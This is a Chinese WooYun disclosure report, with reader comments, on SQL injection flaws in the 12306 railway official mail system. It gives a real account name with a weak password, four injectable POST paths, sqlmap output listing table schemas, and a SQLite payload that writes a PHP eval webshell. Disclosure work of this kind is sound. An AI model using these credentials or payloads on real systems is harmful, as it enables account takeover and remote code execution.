当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0173220

漏洞标题：12306官方邮箱系统深度SQL注入漏洞至少4处

相关厂商：12306

漏洞作者： 路人甲

提交时间：2016-01-27 23:31

修复时间：2016-02-01 23:40

公开时间：2016-02-01 23:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-27： 细节已通知厂商并且等待厂商处理中
2016-02-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

不要想着看标题能找到漏洞，别费劲了！
下载的tangscan的插件，好厉害！

详细说明：

下载的tangscan的插件检测到的

a3.jpg


http://mail.12306.cn/app/mail/entry
邮箱弱口令：
zhangyong/123456

0.png


本想看看上传的地方有没有问题，结果只发现了SQL注入

a1.png


a2.png


http://mail.12306.cn
post:
/app/simple/mail/Folder/list/Sent/0/20*
/app/simple/mail/Folder/list/Draft/0/20*
/app/simple/mail/Folder/list/Spam/0/20*
/app/simple/mail/Folder/list/Trash/0/20*
这4处应该都是SQL注入点


注入点空格需要替换成%20，不然就404

漏洞证明：

扔sqlmap，结果注入点类型是：SQLite，有点意思

1.png


2.png


5个表的结果如下：

mail:
mtbno,mno,fno,new,size,time,dele,attach,mid,reply,mfrom,mto,subject,brief
folder:
fno,folder,sum,count,new,last
searchmail:
session,sno,mtbno,mno,fno,time
sqlite_sequence:
name,seq
search:
session,sno,time,count,name,value


SQLite出数据的方式不太一样，换个姿势--sql-shell
简单读几条数据证明危害

3.png


4.png


5.png


6.png


查了下，SQLite这玩意可以直接写shell，但是需要知道网站路径，不玩了
shell方式：

ATTACH DATABASE '$PATH\\shell.php' AS pwn; CREATE TABLE pwn.exp(dataz text); INSERT INTO pwn.exp(dataz)VALUES('<? eval($_GET['cmd']);?>');--

修复方案：

好不容易抢到回家的票！
俺是良民

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-02-01 23:40

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价

  1. 2016-01-28 00:48 | hkcs ( 路人 | Rank:12 漏洞数:3 | 只是路过)

    NONO 难说，这说不准

  2. 2016-01-28 01:03 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 多乌云、多机会!微信公众号: id:a301zls ...)

    ...

  3. 2016-01-28 07:05 | sangfor.org ( 路人 | Rank:2 漏洞数:1 | 天下熙熙，皆为利来；天下攘攘，皆为利往...)

    shit

  4. 2016-01-28 08:49 | 小红猪 ( 普通白帽子 | Rank:285 漏洞数:48 | little red pig!)

    MARK

  5. 2016-01-28 09:28 | 丶Soim ( 路人 | Rank:0 漏洞数:1 | 一只正在学飞的小菜鸟。)

    前排露个脸，万一火了呢。

  6. 2016-01-28 09:58 | 韩客西 ( 路人 | Rank:0 漏洞数:1 | 学习安全，和大家共同营造一个安全的网络环...)

    前排露个牙，万一火了呢。

  7. 2016-01-28 10:16 | 随风的风 ( 普通白帽子 | Rank:201 漏洞数:67 | 微信公众号：233sec 不定期分享各种漏洞思...)

    看看

  8. 2016-01-28 10:42 | 小白喵咪 ( 路人 | Rank:12 漏洞数:2 | IT小刁刁 未成年白客！)

    前排露个胸，万一火了呢。

  9. 2016-01-28 10:44 | 伤心的猫猫 ( 普通白帽子 | Rank:115 漏洞数:32 | @sangfor,@qq,@alibaba,@baidu)

    已经定位到洞主，警察在赶来的路上。

  10. 2016-01-28 11:08 | ba1ma0 ( 路人 | Rank:6 漏洞数:2 | 什么都不会..)

    mark

  11. 2016-01-28 11:35 | Space ( 路人 | Rank:4 漏洞数:5 | 程序猿)

    花生瓜子火腿肠

  12. 2016-01-28 11:46 | ledoo ( 实习白帽子 | Rank:71 漏洞数:11 | alert("ledoo");)

    开门，送快递的

  13. 2016-01-28 11:53 | 禽兽放开那妹子 ( 路人 | Rank:14 漏洞数:7 | 本屌就是传说中的天下第一帅逼)

    开门，查水表的

  14. 2016-01-28 14:22 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2223 漏洞数:301 | 天天向上 ！！！)

    这个不会也1rank吧。。。。

  15. 2016-01-28 14:34 | 管管侠 ( 核心白帽子 | Rank:2049 漏洞数:167 | 出山，还是，闭关)

    再给1分，12306也是没救了

  16. 2016-01-28 17:39 | 乌云白帽子 ( 路人 | Rank:19 漏洞数:7 | 路人甲)

    下载的tangscan的插件，好厉害！

  17. 2016-01-28 18:16 | boooooom 认证白帽子 ( 普通白帽子 | Rank:473 漏洞数:51 | 我有一个好想法！)

    刚上线的功能下载插件执行，这么快就用上了。

  18. 2016-01-28 20:47 | XiaoXu ( 路人 | Rank:4 漏洞数:1 | ?)

    开门，您订的方便面到了

  19. 2016-01-30 15:34 | 小哲哥 ( 路人 | Rank:15 漏洞数:8 | 长得丑有什么好简介的)

    您好，充气娃娃到了，开下门

  20. 2016-02-01 21:49 | Agony ( 路人 | Rank:1 漏洞数:1 | you know a cat has nine lives.)

    前排露个脸，万一火了呢。